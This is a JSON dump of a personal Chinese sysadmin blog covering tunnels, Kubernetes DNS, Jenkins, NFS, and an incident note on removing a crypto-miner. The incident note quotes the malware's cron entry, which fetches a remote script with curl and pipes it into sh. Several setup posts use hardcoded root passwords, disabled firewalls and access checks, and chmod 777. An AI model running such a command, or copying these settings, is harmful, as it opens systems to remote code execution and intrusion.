-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathcontent.json
More file actions
1 lines (1 loc) · 175 KB
/
content.json
File metadata and controls
1 lines (1 loc) · 175 KB
1
{"meta":{"title":"TianKong","subtitle":"动静等观, 无去来处","description":"","author":"Wang Jia","url":"https://ajasonwang.github.io","root":"/"},"pages":[{"title":"我是谁","date":"2022-11-29T01:35:43.000Z","updated":"2024-03-17T01:35:52.126Z","comments":false,"path":"about/index.html","permalink":"https://ajasonwang.github.io/about/index.html","excerpt":"","text":"我的个人简历🏆2006年《时代》杂志年度风云人物🏆2008年感动中国组委会特别大奖🏆2012年世界末日幸存者🏆2019年年度地球卫士奖🏆2022年奥林匹克杯获得者 “江山父老能容我,不使人间造孽钱”"},{"title":"","date":"2024-08-17T03:55:14.443Z","updated":"2024-08-17T03:55:14.443Z","comments":false,"path":"ads/google/article_ads.html","permalink":"https://ajasonwang.github.io/ads/google/article_ads.html","excerpt":"","text":""}],"posts":[{"title":"赛博佛祖内网穿透踩坑备忘","slug":"cloudflare-tunnel","date":"2024-08-17T03:28:43.000Z","updated":"2024-08-17T03:42:29.260Z","comments":true,"path":"2024/08/17/cloudflare-tunnel/","link":"","permalink":"https://ajasonwang.github.io/2024/08/17/cloudflare-tunnel/","excerpt":"这几年赛博佛祖越来越火,于是决定把vps上frp的方案替换成tunnel方案,并决定用docker部署客户端,踩坑步骤记录如下:","text":"这几年赛博佛祖越来越火,于是决定把vps上frp的方案替换成tunnel方案,并决定用docker部署客户端,踩坑步骤记录如下: 1,设置 https://one.dash.cloudflare.com/ -> networks -> tunnels 步骤较简单,按提示操作即可; 2,踩坑步骤之一:Openwrt上新建docker目录并设置权限,不然会导致生成的cert.pem没有权限写入本地。这里需要额外说明的是 cloudflare/cloudflared 官方镜像不带sh且默认用户是nonroot,查询这个用户UID花了点时间。 123mkdir -p /mnt/mmcblk2p4/cloudflared/config/chown -R 65532:65532 /mnt/mmcblk2p4/cloudflared/chmod -R 777 /mnt/mmcblk2p4/cloudflared/ 3,登录并生成客户端证书 1docker run --rm -v /mnt/mmcblk2p4/cloudflared/config/:/home/nonroot/.cloudflared/ cloudflare/cloudflared:2024.1.5 tunnel login 以上步骤完成后会生成 /mnt/mmcblk2p4/cloudflared/config/cert.pem 证书 4,踩坑步骤之二:运行cloudflared容器,这里最大的坑在于,一定需要将官方的cloudflare/cloudflared:lastet改成cloudflare/cloudflared:2024.1.5这个版本,不然会报错 1docker run --name tunnel -d --restart always -v /mnt/mmcblk2p4/cloudflared/config/:/home/nonroot/.cloudflared/ cloudflare/cloudflared:2024.1.5 tunnel --no-autoupdate --protocol http2 run --token XXXX 5,简单验证 1docker run --name tunnel -d --restart always -v /mnt/mmcblk2p4/cloudflared/config/:/home/nonroot/.cloudflared/ cloudflare/cloudflared:2024.1.5 tunnel --no-autoupdate --protocol http2 run --token XXXX 接下来就是访问自己的域名CNAME,看看能不能打开内网openwrt网址了。不得不说这个方案比frp简单且好用。 6,额外步骤就是关闭Openwrt上的frp服务,路径是http://XXXX/cgi-bin/luci/admin/services/frp 完毕!","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://ajasonwang.github.io/tags/Linux/"}]},{"title":"frp配置备忘","slug":"frp","date":"2024-03-17T01:12:43.000Z","updated":"2024-03-17T01:46:20.372Z","comments":true,"path":"2024/03/17/frp/","link":"","permalink":"https://ajasonwang.github.io/2024/03/17/frp/","excerpt":"最近一次OP升级把frp配置搞丢了,重新设置几次不生效,于是有了这个备忘。步骤简记如下:","text":"最近一次OP升级把frp配置搞丢了,重新设置几次不生效,于是有了这个备忘。步骤简记如下: 1,检查 cloudflare 设置的域名A记录 2,服务端检查(省去通用部分) 123456789[common]# 如果服务端配置了主域名(subdomain_host),则客户端自定义域名不能是属于主域名(subdomain_host) 的子域名或者泛域名。vhost_http_port = 8016vhost_https_port = 8017subdomain_host = wangjia.xyz[n1]type = httpsubdomain = n1 3,OP配置客户端配置 Frp 协议参数 frp协议类型 http 域名类型 子域名 n1 匹配cloudflare的A记录 内网主机地址 OP的IP地址 内网主机端口 OP的端口 4,验证","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://ajasonwang.github.io/tags/Linux/"}]},{"title":"Nodelocaldns在最新版kubernetes集群的部署以及问题解决","slug":"nodelocaldns","date":"2021-08-21T03:11:14.000Z","updated":"2022-11-29T01:34:23.684Z","comments":true,"path":"2021/08/21/nodelocaldns/","link":"","permalink":"https://ajasonwang.github.io/2021/08/21/nodelocaldns/","excerpt":"关于K8S域名解析遭遇5秒延迟的问题(UDP并发导致的内核模块conntrack竞争),早先看到Weaveworks这篇经典文章和最近左耳朵耗子团队赵锟的视频技术分享,一直没有时间部署和验证,今天终于在PC上vagrant的集群操练一把,还是发现一些问题,值得记录一下,先放参考链接: Racy conntrack and DNS lookup timeouts - Weaveworks 经典文章 技术分享:Kubernetes Networking Model (赵锟) 耗子出品,必属精品 Coredns+Nodelocaldns cache解决Coredns域名解析延迟 华为这篇文章翻译烂,凑合看","text":"关于K8S域名解析遭遇5秒延迟的问题(UDP并发导致的内核模块conntrack竞争),早先看到Weaveworks这篇经典文章和最近左耳朵耗子团队赵锟的视频技术分享,一直没有时间部署和验证,今天终于在PC上vagrant的集群操练一把,还是发现一些问题,值得记录一下,先放参考链接: Racy conntrack and DNS lookup timeouts - Weaveworks 经典文章 技术分享:Kubernetes Networking Model (赵锟) 耗子出品,必属精品 Coredns+Nodelocaldns cache解决Coredns域名解析延迟 华为这篇文章翻译烂,凑合看 组件 版本 K8S集群版本 v1.21.3 Containerd版本 cri-containerd-cni-1.5.4-linux-amd64.tar.gz Nodelocaldns版本 1.17.0 集群基础镜像 1234567- pause:3.4.1- kube-apiserver:v1.21.3- kube-controller-manager:v1.21.3- kube-scheduler:v1.21.3- kube-proxy:v1.21.3- etcd:3.4.13-0- coredns:v1.8.0 基于vagrant + ansible role的组合搭建一套集群还是很方便的,这次搭建集群顺便彻底用containerd一个解压即可用的二进制包替换了docker,也发现config.toml里面配置的insecure registry用户名密码不生效问题,尚未解决,奇怪的是ctr和crictl命令行带用户名密码去拉镜像是没问题的。 由于下载google的镜像需要一些办法,所以顺手把相关的镜像已经push在docker.io/ajasonwang下面了,部署过程精简为一个ansible role如下,已省略部分内容: 12345678910111213141516171819202122232425- name: update kubelet dns setting shell: | sed -i 's/__PILLAR__DNS__SERVER__/10.96.0.10/g' /tmp/nodelocaldns.yaml sed -i 's/__PILLAR__LOCAL__DNS__/169.254.20.10/g' /tmp/nodelocaldns.yaml sed -i 's/__PILLAR__DNS__DOMAIN__/cluster.local/g' /tmp/nodelocaldns.yaml run_once: true- name: Pull nodelocaldns images command: crictl pull --creds "{{ dockerRegistryUser }}":"{{ dockerRegistryPasswd }}" "{{ dockerInsecureRegistries }}/{{ item }}" with_items: - k8s-dns-node-cache:1.17.0- name: Install nodelocaldns command: kubectl apply -f /tmp/nodelocaldns.yaml delegate_to: "{{ play_hosts | first }}"- name: update kubelet dns setting shell: | sed -i 's/10.96.0.10/169.254.20.10/g' /var/lib/kubelet/config.yaml- name: Restart kubelet service systemd: daemon_reload: yes name: kubelet state: restarted 按照以上步骤部署nodelocaldns之后在worker节点尝试验证 12345678910111213141516cat>dnsutils-for-node-local-dns.yaml<<EOFapiVersion: v1kind: Podmetadata: name: dnsutils namespace: defaultspec: containers: - name: dnsutils image: docker.io/ajasonwang/dnsutils:latest command: - sleep - "3600" imagePullPolicy: IfNotPresent restartPolicy: AlwaysEOF 验证命令: kubectl exec -i -t dnsutils – nslookup kubernetes.default 居然报解析不到,查看CoreDNS日志 kubectl logs –namespace=kube-system -l k8s-app=kube-dns 错误如下: [INFO] plugin/ready: Still waiting on: “kubernetes” E0819 14:15:26.023715 1 reflector.go:138] pkg/mod/k8s.io/client-go@v0.21.1/tools/cache/reflector.go:167: Failed to watch *v1.EndpointSlice: failed to list *v1.EndpointSlice: endpointslices.discovery.k8s.io is forbidden: User “system:serviceaccount:kube-system:coredns” cannot list resource “endpointslices” in API group “discovery.k8s.io” at the cluster scope [INFO] plugin/ready: Still waiting on: “kubernetes” 进一步搜索发现这个权限错误居然是是coredns的一个bug, 于是编辑coredns的clusterrole配置 kubectl edit clusterrole system:coredns 内容,在最后面追加 apiGroups: discovery.k8s.ioresources: endpointslicesverbs: list watch 最终问题解决 [root@master1 vagrant]# kubectl exec -i -t dnsutils – nslookup kubernetes.default Server: 169.254.20.10 Address: 169.254.20.10#53 Name: kubernetes.default.svc.cluster.local Address: 10.96.0.1 K8S的新版本总是会有一些bug,好在总有早鸟走在前面。","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Kubernetes","slug":"Kubernetes","permalink":"https://ajasonwang.github.io/tags/Kubernetes/"}]},{"title":"k8s ci & cd pipeline","slug":"k8s-cicd-pipeline-setup","date":"2020-05-23T03:11:14.000Z","updated":"2022-11-08T12:47:15.873Z","comments":true,"path":"2020/05/23/k8s-cicd-pipeline-setup/","link":"","permalink":"https://ajasonwang.github.io/2020/05/23/k8s-cicd-pipeline-setup/","excerpt":"Overview","text":"Overview Setup nexus private registrygenerate ssl certificate and restart nexusexport NEXUS_HOST=your_hostname export NEXUS_DOMAIN=your_domain_name.com export NEXUS_IP_ADDRESS=192.168.10.10 export NEXUS_SSL_PORT=7777 keytool -genkeypair -keystore keystore.jks -storepass keystorePass -keypass keystorePass -alias jetty -keyalg RSA -keysize 2048 -validity 5000 -dname "CN=$NEXUS_DOMAIN, OU=Example, O=Sonatype, L=Unspecified, ST=Unspecified, C=US" -ext "SAN=DNS:$NEXUS_DOMAIN,IP:$NEXUS_IP_ADDRESS" -ext "BC=ca:true" openssl req -newkey rsa:4096 -nodes -sha256 -keyout ${nexus_home}/etc/ssl/nexus.key -x509 -days 3650 -out ${nexus_home}/etc/ssl/nexus.cert ls ${nexus_home}/etc/ssl/ keystore.jks nexus.cert nexus.key etc/nexus-default.propertiesapplication-port-ssl=8444 nexus-args=${jetty.etc}/jetty.xml,${jetty.etc}/jetty-http.xml,${jetty.etc}/jetty-https.xml,${jetty.etc}/jetty-requestlog.xml etc/nexus.propertiesapplication-port-ssl=7777 restart nexus service${nexus_home}/bin/nexus restart create nexus repository and set Repository Connectors in nexus UI#hosted type repository for docker push HTTPS: 7777 #group type repository for docker pull HTTPS: 8888 setup ssl trust in docker client node(not always necessary)#remove old cert cd /etc/pki/ca-trust/source/anchors rm –f your_domain_name.crt #client trust export DOMAIN_NAME=your_domain_name export TCP_PORT=7777 openssl s_client -connect $DOMAIN_NAME:$TCP_PORT -showcerts </dev/null 2>/dev/null | openssl x509 -outform PEM | tee /etc/pki/ca-trust/source/anchors/$DOMAIN_NAME.crt update-ca-trust configure /etc/docker/daemon.json and restart docker service{ "insecure-registries" : ["your_domain_name:7777","your_domain_name:8888"] } restart docker service and login/bin/systemctl restart docker.service #test docker login docker login your_domain_name:7777 docker login your_domain_name:8888 Create k8s ha cluster with ansible-galaxy scrips using kubeadmansible inventory example master1 ansible_host=192.168.10.101 master2 ansible_host=192.168.10.102 master3 ansible_host=192.168.10.103 worker1 ansible_host=192.168.10.104 worker2 ansible_host=192.168.10.105 [center] worker2 [k8schaos] master1 [k8smaster] master2 master3 [k8sworker] worker1 worker2 install haproxy in center node, configure 3 node master as backend server haproxy_conf: | listen k8smaster bind *:6443 option tcplog mode tcp balance roundrobin option tcp-check server master1 192.168.10.101:6443 check fall 3 rise 2 server master2 192.168.10.102:6443 check fall 3 rise 2 server master3 192.168.10.103:6443 check fall 3 rise 2 prepare k8s images, push to private registry and load images to nodes install first k8schaos node with kubeadm kubeadm init --config /tmp/kubeadm-config.yml --upload-certs --v=5 install two extra k8smaster node and join to clusterinstall k8sworker node Helm install jenkins service in k8sprepare images and helm chartsload docker images to nodes firstinstall helm and tiller kubectl apply -f rbactiller.yml helm init --tiller-image registry.hub.docker.com/jessestuart/tiller:v2.14.2 --stable-repo-url https://kubernetes.oss-cn-hangzhou.aliyuncs.com/charts --service-account=tiller install nfs-client-provisioner helm install --name ndp --values values.yaml --namespace ndp ./nfs-client-provisioner exec helm install for jenkins helm install --name jenkins --values values.yaml --namespace jenkins ./1.9.2/jenkins install jenkins plugins and adjust settings update timezone and security settings: 1, System.setProperty(‘org.apache.commons.jelly.tags.fmt.timeZone’, ‘Asia/Shanghai’)2, Configure Global Security -> Jenkins’ own user database -> Project-based Matrix Authorization Strategy update slave settings:(Docker in Docker)Host Path Volume: /usr/bin/docker /var/run/docker.sock update default PersistentVolume recycle policy with kubectl patch pv $(kubectl get pv,pvc -n jenkins | grep -v NAME | grep jenkins/jenkins | awk '{print $1}' | cut -d'/' -f2) -p '{"spec":{"persistentVolumeReclaimPolicy":"Retain"}}' Create ci cd pipeline sample code in k8s (non-docker)pipeline { agent { label "jenkins-jenkins-slave" } // jenkins slave with maven sonar-scanner tools ... options { buildDiscarder(logRotator(numToKeepStr: '5')) preserveStashes() { skipDefaultCheckout() } } stages { stage("Code Checkout") { steps { ... } } stage('Build') { steps { script{ try { script { try { ... } finally { } } } catch(error) { echo "First build failed, let's retry if accepted" retry(2) { // same code as above } } } } } stage('Assemble & Test') { ... } stage('Scan & Upload') { parallel { stage('Archive Artifacts') { steps { archiveArtifacts "project_name-assembly-${PKG_VERSION}-SNAPSHOT.zip" } } stage("Upload Artifacts to Nexus") { steps { nexusArtifactUploader ... } } stage("SonarQube Scan") { steps { script { if (env.ENABLE_SONAR == 'Y') { withSonarQubeEnv('dev_sonarqube') { // defined in jenkins global setting sh ''' ... ''' } sleep(120) timeout(time: 1, unit: 'MINUTES') { def qg = waitForQualityGate() if (qg.status != 'SUCCESS') { echo "Pipeline aborted due to quality gate failure: ${qg.status}" // error "Pipeline aborted due to quality gate failure: ${qg.status}" } } } else { } } } } } } stage('Deploy DEV') { agent { label "jenkins-slave-deploy" } // slave with deploy tools installed, deploy dev by default steps { script { ... } } } stage('Deploy QA') { agent { label "jenkins-slave-deploy" } when { environment name: 'DEPLOY_QA', value: 'Y' } steps { script { // refer dev deploy script } } } } } Create ci cd pipeline in k8s (build docker image and push to private registry)stage("Build Docker Image") { steps { script { def app stage('Build image') { withDockerRegistry(credentialsId: "${IMAGE_NEXUS_CREDENTIAL_ID}", url: "http://${REPO}/v1") { app = docker.build("${REPO_PUSH}/project_name/app_name-service:${env.DOMAIN}", "--label project_name/app_name-service --no-cache --pull --force-rm --build-arg REPO=${REPO} --build-arg DOMAIN=${DOMAIN} --build-arg GROUP_ID=${DOMAIN} --build-arg LAUNCHER_VERSION=${LAUNCHER_VERSION} --build-arg PKG_VERSION=${IMAGE_VERSION} --build-arg NEXUS_REPO=${NEXUS_REPO} .") } } stage('Push image') { withDockerRegistry(credentialsId: "${IMAGE_NEXUS_CREDENTIAL_ID}", url: "http://${REPO_PUSH}/v1") { app.push("${env.IMAGE_VERSION}-${env.BUILD_NUMBER}") app.push("${env.IMAGE_VERSION}-latest") } } } } }","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Kubernetes","slug":"Kubernetes","permalink":"https://ajasonwang.github.io/tags/Kubernetes/"}]},{"title":"Jenkins安装配置","slug":"setup-jenkins-with-delegate-to-servlet-container","date":"2017-10-14T08:36:48.000Z","updated":"2022-11-08T12:47:15.892Z","comments":true,"path":"2017/10/14/setup-jenkins-with-delegate-to-servlet-container/","link":"","permalink":"https://ajasonwang.github.io/2017/10/14/setup-jenkins-with-delegate-to-servlet-container/","excerpt":"Jenkins的安装配置备忘 master setup1, install mysqluse mysql; SET PASSWORD FOR 'root'@'%'=PASSWORD('Mysql123'); grant all privileges on *.* to root@"%" identified by "Mysql123"; mysqladmin -u root password oldpass "newpass"","text":"Jenkins的安装配置备忘 master setup1, install mysqluse mysql; SET PASSWORD FOR 'root'@'%'=PASSWORD('Mysql123'); grant all privileges on *.* to root@"%" identified by "Mysql123"; mysqladmin -u root password oldpass "newpass" 2, install jdk and tomcatvi ~/.bashrc alias l="ls -l" export JAVA_HOME=/var/java/jdk1.8.0_121 export PATH=$JAVA_HOME/bin:$PATH export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar 3, configure mysqlcreate database and tables CREATE DATABASE IF NOT EXISTS jenkins DEFAULT CHARSET utf8 COLLATE utf8_general_ci; USE jenkins; CREATE TABLE user_roles ( user_name VARCHAR(15) NOT NULL, role_name VARCHAR(15) NOT NULL ) ENGINE=INNODB CHARSET=utf8 COLLATE=utf8_unicode_ci; CREATE TABLE users ( user_name VARCHAR(15) NOT NULL, user_pass VARCHAR(250) NOT NULL ) ENGINE=INNODB CHARSET=utf8 COLLATE=utf8_unicode_ci; digest password and insert data ./digest.sh -a "SHA-512" -i 1000 -s 16 -k 256 -h "org.apache.catalina.realm.MessageDigestCredentialHandler" admin insert into user_roles(user_name,role_name) values ("admin","admin"); insert into users(user_name,user_pass) values ("admin","b0ecf0b3b6e99c46b037e38f85c4f2ab2e73d9374b65ee81e517cff99ccb0e7e$1$b7640d2d66a16263f66eabed1f784c87"); 4, configure tomcatput mysql driver to tomcat lib directory ➜ lib pwd /data/apache-tomcat-8.5.15/lib ➜ lib ls -l mysql-connector-java-5.1.26-bin.jar -rwxr-xr-x. 1 jenkins jenkins 855948 7月 24 2013 mysql-connector-java-5.1.26-bin.jar /data/apache-tomcat-8.5.15/conf/tomcat-users.xml <role rolename="manager-gui"/> <user username="admin" password="admin" roles="manager-gui"/> /data/apache-tomcat-8.5.15/conf/context.xml <Resources cachingAllowed="true" cacheMaxSize="100000" /> enable remote access for tomcat admin, webapps/manager/META-INF/context.xml <Context antiResourceLocking="false" privileged="true" > <!-- <Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="192\\.\\d+\\.\\d+\\.\\d+|::1|0:0:0:0:0:0:0:1" /> --> </Context> update server.xml for mysql connection <Realm className="org.apache.catalina.realm.LockOutRealm"> <Realm className="org.apache.catalina.realm.UserDatabaseRealm" resourceName="UserDatabase"/> <Realm className="org.apache.catalina.realm.JDBCRealm" driverName="org.gjt.mm.mysql.Driver" connectionURL="jdbc:mysql://localhost:3306/jenkins?autoReconnect=true&amp;user=root&amp;password=Mysql123" userTable="users" userNameCol="user_name" userCredCol="user_pass" userRoleTable="user_roles" roleNameCol="role_name"> <!-- digest.bat -a "SHA-512" -i 1000 -s 16 -k 256 -h "org.apache.catalina.realm.MessageDigestCredentialHandler" admin --> <CredentialHandler className="org.apache.catalina.realm.MessageDigestCredentialHandler" algorithm="SHA-512" iterations="1000" keyLength="256" saltLength="16" /> </Realm> </Realm> setup jenkins authentication to delegate to servlet containler 5, user and ssh key setupgroupadd jenkins useradd jenkins -g jenkins sudo passwd jenkins ssh-keygen -b 2048 -t rsa ssh-copy-id -i .ssh/id_rsa.pub [email protected] chage -M 99999 jenkins chage -l jenkins 6, jenkins install and initializationaccess http://10.0.0.3:8081/jenkins/credentials/store/system/domain/_/ and click “Add Credentials”, choose “SSH Username with private key” and fillusername: jenkinsPrivate Key - Enter directly: that is jenkins master user(jenkins)’s ssh private key slave setupinstall jdk and maven/etc/profile export JAVA_HOME=/data/jdk1.8.0_91 export PATH=/usr/local/nginx/sbin:/usr/local/php/bin:/usr/local/apache/bin:/usr/local/mariadb/bin:$JAVA_HOME/bin:$PATH export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar /home/jenkins/.m2/settings.xml <mirror> <id>yourcompany-nexus</id> <mirrorOf>*</mirrorOf> <name>yourcompany-nexus</name> <url>http://120.76.xx.yy:8081/nexus/content/groups/public</url> </mirror> <mirror> <id>nexus-aliyun</id> <mirrorOf>*</mirrorOf> <name>Nexus aliyun</name> <url>http://maven.aliyun.com/nexus/content/groups/public</url> </mirror> install fpm通过gem安装fpm库时,可能会报错 gem install fpm ERROR: Loading command: install (LoadError) no such file to load -- zlib ERROR: While executing gem ... (NameError) uninitialized constant Gem::Commands::InstallCommand 解决办法是: yum install zlib-devel yum install openssl 进入ruby源码文件夹,安装ruby自身提供的zlib包 make clean ./configure --with-openssl-dir=/usr/local/openssl cd ext/zlib ruby ./extconf.rb cd .. make make install 更改gem源为国内源 gem sources --add http://gems.ruby-china.org/ --remove https://rubygems.org/ gem sources -l build packagecat>./pre_install.sh<<EOF #!/bin/sh . /etc/profile host=\\$(hostname -s) echo "\\$host" tomcat_dir=/data/tomcat7/tomcat7081 ps -ef|grep \\$tomcat_dir | grep -v grep |awk '{print \\$2}' | xargs kill -9 rm -rf \\$tomcat_dir/webapps/carManage/ rm -rf \\$tomcat_dir/work/* \\$tomcat_dir/temp/* exit 0 EOF cat>./post_install.sh<<EOF #!/bin/sh ##this script execute after rpm packege install . /etc/profile host=\\$(hostname -s) tomcat_dir=/data/tomcat7/tomcat7081 echo "\\$host" cd \\$tomcat_dir/bin chmod +x ./*.sh chown -R tomcat:tomcat \\$tomcat_dir\\webapps sudo -u tomcat ./startup.sh & exit 0 EOF mkdir -p data/tomcat7/tomcat7081/webapps mv carManage/target/carManage.war data/tomcat7/tomcat7081/webapps/ /usr/local/bin/fpm -s dir -t rpm -n "carManage" -v 1.0.0.$BUILD_NUMBER --pre-install ./pre_install.sh --post-install ./post_install.sh data sudo rpm -ivh --force --nodeps `ls -rt /home/jenkins/carManage* | tail -n 1` deploy server settingCmnd_Alias DEPLOY = /bin/rpm * Defaults:jenkins !requiretty jenkins ALL=NOPASSWD:DEPLOY","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Jenkins","slug":"Jenkins","permalink":"https://ajasonwang.github.io/tags/Jenkins/"}]},{"title":"阿里云服务器被发现挖矿程序后的处理","slug":"aliyun-server-was-hajacked-for-mining-fix","date":"2017-10-14T08:12:58.000Z","updated":"2022-11-08T12:47:15.842Z","comments":true,"path":"2017/10/14/aliyun-server-was-hajacked-for-mining-fix/","link":"","permalink":"https://ajasonwang.github.io/2017/10/14/aliyun-server-was-hajacked-for-mining-fix/","excerpt":"巡检发现阿里云一台ECS的CPU占用过高,而该进程是 /tmp 目录下,且进程名称似乎是自动生成的。初步判断被黑后紧急Google发现有类似案例发生在aws上面。这次操作忘记保留现场了,所以简要记录如下:","text":"巡检发现阿里云一台ECS的CPU占用过高,而该进程是 /tmp 目录下,且进程名称似乎是自动生成的。初步判断被黑后紧急Google发现有类似案例发生在aws上面。这次操作忘记保留现场了,所以简要记录如下: 案例: I found the solution to removing minerd. I was lucky enough to find the actual script that was used to infect my server. All I had to do was remove the elements placed by this script. On monkeyoto’s suggestion, I blocked all communication with the mining pool server. 12iptables -A INPUT -s xmr.crypto-pool.fr -j DROPiptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP Removed the cron */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh from /var/spool/cron/root and /var/spool/cron/crontabs/rootRemoved the directory /opt/yamRemoved /root/.ssh/KHK75NEOiqDeleted the files /opt/minerd and /opt/KHK75NEOiq33Stopped the minerd process - pkill minerd.Stopped lady - service lady stop.I ran ps -eo pcpu,args –sort=-%cpu | head, top -bn2 |sed -n ‘7,25’p and ps aux | grep minerd after that and the malware was nowhere to be seen. I still need to figure out how it gained access into the system but I was able to disable it this way. 具体清理步骤如下: 1,踢人命令格式:pkill -kill -t tty解释:pkill -kill -t 踢人命令tty 所踢用户的tty比如: 1pkill -kill -t pts/2 2, 大扫除结果发现被自动拉起,这时候马上查看 crontab 果然有诡异设置,尝试删除crontab中的条目,发现无法保存,报错类似: 12345root@X [/tmp]# crontab -ecrontab: installing new crontabcrontab: error renaming /var/spool/cron/tmp.XXXXDSGEDV to /var/spool/cron/rootrename: Operation not permittedcrontab: edits left in /tmp/crontab.xO3YcB 解决办法: 12lsattr /var/spool/cron/rootchattr -aui /var/spool/cron/root 3,改密码并加强安全设置review sudo user, review /etc/ssh/sshd_config setting","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"安全","slug":"安全","permalink":"https://ajasonwang.github.io/tags/%E5%AE%89%E5%85%A8/"}]},{"title":"nfs权限问题","slug":"nfs-permission","date":"2016-10-26T03:44:38.000Z","updated":"2022-11-08T12:47:15.885Z","comments":true,"path":"2016/10/26/nfs-permission/","link":"","permalink":"https://ajasonwang.github.io/2016/10/26/nfs-permission/","excerpt":"配置服务器创建需要共享的文件夹mkdir doc_share 编辑exports文件vim /etc/exports/doc_share 192.168.2.131/255.255.255.0(rw,sync) 重启相关服务/etc/init.d/portmap restart/etc/init.d/nfs restart","text":"配置服务器创建需要共享的文件夹mkdir doc_share 编辑exports文件vim /etc/exports/doc_share 192.168.2.131/255.255.255.0(rw,sync) 重启相关服务/etc/init.d/portmap restart/etc/init.d/nfs restart 设置自启动chkconfig nfs onchkconfig portmap on 安全设置/etc/init.d/iptables stopchkconfig iptables offsystem-config-selinux 检查配置[root@rac1 /]# exportfs -rvexporting 192.168.2.131/255.255.255.0:/doc_share 试着在本机看能否加载mount 192.168.2.131:/doc_share /mnt [root@rac1 doc_share]# echo aa>aa.txt[root@rac1 doc_share]# lsaa.txt[root@rac1 /]# cd /mnt[root@rac1 mnt]# lsaa.txt 客户端测试手工mount:mount -o nolock 192.168.2.131:/doc_share /mnt这个时候可以看到在节点1上内容了.[root@rac2 mnt]# cd /mnt[root@rac2 mnt]# lsaa.txt 自动mount:编辑fstab文件,实现开机自动挂载mount -t nfs IP:/目录 挂载到的目录(此为临时挂载)如:mount -t nfs 192.168.0.9:/doc /docvim /etc/fstab 添加如下内容192.168.2.131:/doc_share /mnt nfs defaults 0 0 相关的一些命令:showmout命令对于NFS的操作和查错有很大的帮助.showmout -a:这个参数是一般在NFS ERVER上使用,是用来显示已经mount上本机nfs目录的cline机器.-e:显示指定的NFS SERVER上export出来的目录.例如:showmount -e 192.168.0.30 Export list for localhost:/tmp */home/linux *.linux.org /home/public (everyone)/home/test 192.168.0.100 exportfs命令:如果我们在启动了NFS之后又修改了/etc/exports,是不是还要重新启动nfs呢?这个时候我们就可以用exportfs命令来使改动立刻生效,该命令格式如下:exportfs[-aruv]-a :全部mount或者unmount /etc/exports中的内容-r :重新mount /etc/exports中分享出来的目录-u :umount 目录-v :在 export 的时候,将详细的信息输出到屏幕上. 具体例子: [root @test root]# exportfs -rvexporting192.168.0.100:/home/testexporting 192.168.0.*:/home/publicexporting*.the9.com:/home/linuxexporting *:/home/publicexporting *:/tmp reexporting 192.168.0.100:/home/test to kernel exportfs -au 全部都卸载了 其他今天在机器上配置NFS文件系统,在/etc/exports中加入以下信息:/testfs 10.0.0.0/8(rw)重启NFS服务以后,在客户机通过mount -o rw -t nfs 10.214.54.29:/testfs /rd1命令将网络文件mount到本地。执行完成之后,目录是可以访问了,但无法写入。感觉有点奇怪,明明在命令中指定可以写入了。于是到网上搜索资料,发现exports目录权限中,有这么一个参数no_root_squash。其作用是:登入 NFS 主机使用分享目录的使用者,如果是 root 的话,那么对于这个分享的目录来说,他就具有root的权限!。默认情况使用的是相反参数root_squash:在登入 NFS 主机使用分享之目录的使用者如果是 root,那么这个使用者的权限将被压缩成为匿名使用者,通常他的UID与GID都会变成 nobody 那个身份。因为我的客户端是使用root登录的,自然权限被压缩为nobody了,难怪无法写入。将配置信息改为:/testfs 10.0.0.0/8(rw,no_root_squash)据说有点不安全,但问题是解决了。 Exports文件中可以设定的参数主要有以下这些: Ro 该主机对该共享目录有只读权限 Rw 该主机对该共享目录有读写权限 Root_squash 客户机用root用户访问该共享文件夹时,将root用户映射成匿名用户 No_root_squash 客户机用root访问该共享文件夹时,不映射root用户 All_squash 客户机上的任何用户访问该共享目录时都映射成匿名用户 Anonuid 将客户机上的用户映射成指定的本地用户ID的用户 Anongid 将客户机上的用户映射成属于指定的本地用户组ID Sync 资料同步写入到内存与硬盘中 Async 资料会先暂存于内存中,而非直接写入硬盘 Insecure 允许从这台机器过来的非授权访问 例如可以编辑/etc/exports为: / user01(rw) user02(rw,no_root_squash) 表示共享服务器上的根目录(/)只有user01和user02两台主机可以访问,且有读写权限;user01主机用root用户身份访问时,将客户机的root用户映射成服务器上的匿名用户(root_squash,该参数为缺省参数),相当于在服务器使用nobody用户访问目录;user02主机用root用户身份访问该共享目录时,不映射root用户(no_root_squash),即相当于在服务器上用root身份访问该目录 /root/share/ 192.168.1.2(rw,insecure,sync,all_squash) 表示共享服务器上的/root/share/目录只有192.168.1.2主机可以访问,且有读写权限;此主机用任何身份访问时,将客户机的用户都映射成服务器上的匿名用户(all_squash),相当于在服务器上用nobody用户访问该目录(若客户机要在该共享目录上保存文件(即写操作),则服务器上的nobody用户对该目录必须有写的权限) /home/ylw/ *.test.com (rw,insecure,sync,all_squash) 表示共享/home/ylw/目录,*.test.com域中所有的主机都可以访问该目录,且有读写权限 /home/share/ .test.com (ro,sync,all_squash,anonuid=zh3,anongid=wa4) 表示共享目录/home/share/,*.test.com域中的所有主机都可以访问,但只有只读的权限,所有用户都映射成服务器上的uid为zh3、gid为wa4的用户 设定好后可以使用以下命令启动NFS: service nfs 